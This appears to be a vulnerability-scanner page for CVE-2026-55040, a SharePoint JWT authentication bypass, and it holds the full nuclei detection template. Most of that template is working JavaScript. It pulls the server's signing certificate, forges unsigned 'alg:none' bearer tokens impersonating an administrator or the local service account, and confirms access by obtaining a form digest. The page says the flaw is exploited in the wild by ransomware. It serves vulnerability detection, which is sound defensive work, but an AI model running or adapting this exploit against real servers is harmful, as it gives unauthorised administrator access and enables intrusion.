Browse / CVEs / CVE-2026-55040
CVE-2026-55040· CWE-1390
Microsoft SharePoint Server - JWT Authentication Bypass
Exploited in the wild. Listed by CISA on 2026-08-18; known to be used by ransomware.
Microsoft SharePoint Server is vulnerable to an authentication bypass (CVE-2026-55040) in its JWT token validation pipeline (SPJsonWebSecurityTokenHandlerV2). The chain disables signature requirements (RequireSignedTokens=false, accepting alg:none tokens), resolves the actor token x5t thumbprint against the server's own STS signing certificate (freely retrievable from /_layouts/15/metadata/json/1) without verifying the signature, accepts unregistered certificate issuers, and only checks the actor token signature is non-empty. An unauthenticated remote attacker can forge a JWT and authenticate as any SharePoint user, including a site administrator. This template forges such a token and confirms the bypass by obtaining a SharePoint form digest.
Impact
Unauthorized attackers can bypass authentication, gaining unauthorized access to protected resources.
Fix
Update to the latest version of Microsoft Office SharePoint.
How to confirm it
Positive when: contains "CVE-2026-55040-VULNERABLE"Run it with nuclei: nuclei -id CVE-2026-55040 -u <target>
The full check
id: CVE-2026-55040
info:
name: Microsoft SharePoint Server - JWT Authentication Bypass
author: sfewer-r7,DhiyaneshDk
severity: critical
description: |
Microsoft SharePoint Server is vulnerable to an authentication bypass (CVE-2026-55040) in its JWT token validation pipeline (SPJsonWebSecurityTokenHandlerV2). The chain disables signature requirements (RequireSignedTokens=false, accepting alg:none tokens), resolves the actor token x5t thumbprint against the server's own STS signing certificate (freely retrievable from /_layouts/15/metadata/json/1) without verifying the signature, accepts unregistered certificate issuers, and only checks the actor token signature is non-empty. An unauthenticated remote attacker can forge a JWT and authenticate as any SharePoint user, including a site administrator. This template forges such a token and confirms the bypass by obtaining a SharePoint form digest.
impact: |
Unauthorized attackers can bypass authentication, gaining unauthorized access to protected resources.
remediation: |
Update to the latest version of Microsoft Office SharePoint.
reference:
- https://github.com/sfewer-r7/CVE-2026-55040
- https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040/
- https://nvd.nist.gov/vuln/detail/CVE-2026-55040
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-55040
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2026-55040
epss-score: 0.69536
epss-percentile: 0.99369
cwe-id: CWE-1390
metadata:
max-request: 3
verified: true
shodan-query: html:"/_layouts/"
tags: cve,cve2026,sharepoint,microsoft,auth-bypass,jwt,kev,vkev
javascript:
- pre-condition: |
isPortOpen(Host, Port);
code: |
var net = require("nuclei/net");
// ===== SHA-1 (pure JavaScript, RFC 3174) =====
function sha1(data) {
function R(n, s) { return ((n << s) | (n >>> (32 - s))) >>> 0; }
function A(x, y) { return (x + y) >>> 0; }
var msg = data.slice(), L = msg.length;
msg.push(0x80);
while ((msg.length % 64) !== 56) msg.push(0);
var bl = L * 8;
msg.push(0, 0, 0, 0, (bl >>> 24) & 0xFF, (bl >>> 16) & 0xFF, (bl >>> 8) & 0xFF, bl & 0xFF);
var H = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0];
for (var blk = 0; blk < msg.length; blk += 64) {
var W = [];
for (var i = 0; i < 16; i++)
W[i] = ((msg[blk + i * 4] << 24) | (msg[blk + i * 4 + 1] << 16) | (msg[blk + i * 4 + 2] << 8) | msg[blk + i * 4 + 3]) >>> 0;
for (var i = 16; i < 80; i++)
W[i] = R(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1);
var a = H[0], b = H[1], c = H[2], d = H[3], e = H[4];
for (var t = 0; t < 80; t++) {
var f, k;
if (t < 20) { f = ((b & c) | (~b & d)) >>> 0; k = 0x5A827999; }
else if (t < 40) { f = (b ^ c ^ d) >>> 0; k = 0x6ED9EBA1; }
else if (t < 60) { f = ((b & c) | (b & d) | (c & d)) >>> 0; k = 0x8F1BBCDC; }
else { f = (b ^ c ^ d) >>> 0; k = 0xCA62C1D6; }
var T = A(A(A(A(R(a, 5), f), e), k >>> 0), W[t]);
e = d; d = c; c = R(b, 30); b = a; a = T;
}
H[0] = A(H[0], a); H[1] = A(H[1], b); H[2] = A(H[2], c); H[3] = A(H[3], d); H[4] = A(H[4], e);
}
var out = [];
for (var j = 0; j < 5; j++) out.push((H[j] >>> 24) & 0xFF, (H[j] >>> 16) & 0xFF, (H[j] >>> 8) & 0xFF, H[j] & 0xFF);
return out;
}
// ===== Base64 / Base64url =====
function b64enc(bytes) {
var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = "";
for (var i = 0; i < bytes.length; i += 3) {
var x = bytes[i], y = i + 1 < bytes.length ? bytes[i + 1] : 0, z = i + 2 < bytes.length ? bytes[i + 2] : 0;
r += t[x >>> 2];
r += t[((x & 3) << 4) | (y >>> 4)];
r += i + 1 < bytes.length ? t[((y & 0xF) << 2) | (z >>> 6)] : "=";
r += i + 2 < bytes.length ? t[z & 0x3F] : "=";
}
return r;
}
function b64url(bytes) { return b64enc(bytes).replace(/\+/g, "-").replace(/\//g, "_").replace(/=/g, ""); }
function b64urlStr(s) {
var b = [];
for (var i = 0; i < s.length; i++) b.push(s.charCodeAt(i) & 0xFF);
return b64url(b);
}
function b64dec(s) {
var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = [];
s = s.replace(/[^A-Za-z0-9+\/]/g, "");
for (var i = 0; i < s.length; i += 4) {
var a = t.indexOf(s[i]), b = t.indexOf(s[i + 1]);
var c = s[i + 2] ? t.indexOf(s[i + 2]) : -1, d = s[i + 3] ? t.indexOf(s[i + 3]) : -1;
r.push((a << 2) | (b >>> 4));
if (c !== -1) r.push(((b & 0xF) << 4) | (c >>> 2));
if (d !== -1) r.push(((c & 3) << 6) | d);
}
return r;
}
// ===== HTTP helper — accumulation loop to read full multi-chunk response =====
function httpReq(method, path, extraHdrs, body) {
var hdrs = "Host: " + Host + "\r\nUser-Agent: nuclei\r\nConnection: close\r\nContent-Length: 0\r\n";
for (var k in extraHdrs) hdrs += k + ": " + extraHdrs[k] + "\r\n";
var raw = method + " " + path + " HTTP/1.1\r\n" + hdrs + "\r\n" + (body || "");
try {
var conn;
try { conn = net.OpenTLS("tcp", Host + ":443"); }
catch (e) { conn = net.Open("tcp", Host + ":443"); }
conn.SetTimeout(30);
conn.Send(raw);
// Accumulate chunks until EOF (server closes with Connection: close)
var resp = "";
var chunk;
while (true) {
try {
chunk = conn.RecvString(4096);
if (!chunk || chunk.length === 0) break;
resp += chunk;
} catch (e) { break; }
}
conn.Close();
return resp;
} catch (e) { return ""; }
}
// ===== Dechunk — handle Transfer-Encoding: chunked if present =====
function dechunk(body) {
if (!body || body.indexOf("\r\n") === -1) return body;
var result = "";
var pos = 0;
while (pos < body.length) {
var nlIdx = body.indexOf("\r\n", pos);
if (nlIdx === -1) break;
var sizeLine = body.substring(pos, nlIdx).split(";")[0].trim();
var size = parseInt(sizeLine, 16);
if (isNaN(size) || size === 0) break;
pos = nlIdx + 2;
if (pos + size > body.length) { result += body.substring(pos); break; }
result += body.substring(pos, pos + size);
pos += size + 2;
}
return result || body;
}
function parseResp(raw) {
if (!raw) return { code: 0, body: "" };
var sep = raw.indexOf("\r\n\r\n");
if (sep === -1) sep = raw.indexOf("\n\n");
if (sep === -1) return { code: 0, body: raw };
var headers = raw.substring(0, sep);
var body = raw.substring(sep + 4);
if (headers.toLowerCase().indexOf("transfer-encoding: chunked") !== -1) {
body = dechunk(body);
}
var m = headers.match(/^HTTP\/[\d.]+\s+(\d+)/);
return { code: m ? parseInt(m[1]) : 0, body: body };
}
// ===== Main detection logic =====
var metaR = parseResp(httpReq("GET", "/_layouts/15/metadata/json/1", {}, ""));
if (metaR.code === 200 && metaR.body && metaR.body.trim()[0] !== "<") {
var meta = null;
try { meta = JSON.parse(metaR.body); } catch (e) {}
if (meta) {
var issuer = meta.issuer || "";
var atIdx = issuer.indexOf("@");
if (atIdx !== -1) {
var realm = issuer.substring(atIdx + 1);
var keys = meta.keys || [];
var certB64 = keys[0] && keys[0].keyValue ? keys[0].keyValue.value : null;
if (certB64) {
var certDer = b64dec(certB64);
var x5t = b64url(sha1(certDer));
var now = Math.floor(Date.now() / 1000);
var hostLabel = Host.split(".")[0];
var cid = "00000003-0000-0ff1-ce00-000000000000";
var aHdr = JSON.stringify({ alg: "RS256", typ: "JWT", x5t: x5t });
var aPld = JSON.stringify({ iss: issuer, nameid: issuer, nbf: now - 300, exp: now + 3600 });
var actorJwt = b64urlStr(aHdr) + "." + b64urlStr(aPld) + ".AAAA";
var forgeToken = function (nameid, nii, extra) {
var hdr = JSON.stringify({ alg: "none", typ: "JWT" });
var pld = {
aud: cid + "/" + hostLabel + "@" + realm,
iss: issuer,
nbf: now - 300,
exp: now + 3600,
nameid: nameid,
nii: nii,
trustedfordelegation: "true",
actortoken: actorJwt
};
if (extra) { for (var ek in extra) pld[ek] = extra[ek]; }
return b64urlStr(hdr) + "." + b64urlStr(JSON.stringify(pld)) + ".";
};
var tryDigest = function (token) {
return parseResp(httpReq("POST", "/_api/contextinfo",
{ Authorization: "Bearer " + token, Accept: "application/json" }, ""));
};
var output = "";
// Path 1: UPN derived from hostname domain
var parts = Host.split(".");
if (parts.length >= 3) {
var domain = parts.slice(1).join(".");
var upn = "administrator@" + domain;
var tok1 = forgeToken("upn_bypass", "urn:office:idp:activedirectory", { upn: upn });
var r1 = tryDigest(tok1);
if (r1.code === 200 && r1.body.indexOf("FormDigestValue") !== -1) {
output = "CVE-2026-55040-VULNERABLE\nDIGEST-OBTAINED\nupn=" + upn + "\nrealm=" + realm;
}
}
// Path 2: AccessToken / local service fallback
if (!output) {
var tok2 = forgeToken("0#.w|nt authority\\local service", "AccessToken", { upn: "x@localhost" });
var r2 = tryDigest(tok2);
if (r2.code === 200 && (r2.body.indexOf("FormDigestValue") !== -1 || r2.body.indexOf("UnauthorizedAccessException") !== -1)) {
output = "CVE-2026-55040-VULNERABLE\nAUTH-BYPASS-CONFIRMED\nrealm=" + realm;
}
}
if (output) Export(output);
}
}
}
}
args:
Host: "{{Host}}"
Port: "443"
matchers:
- type: word
words:
- "CVE-2026-55040-VULNERABLE"
extractors:
- type: regex
name: realm
regex:
- "realm=([0-9a-fA-F-]+)"References
- https://github.com/sfewer-r7/CVE-2026-55040
- https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040/
- https://nvd.nist.gov/vuln/detail/CVE-2026-55040
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-55040
Use this check only on systems you are authorised to test. Where the data comes from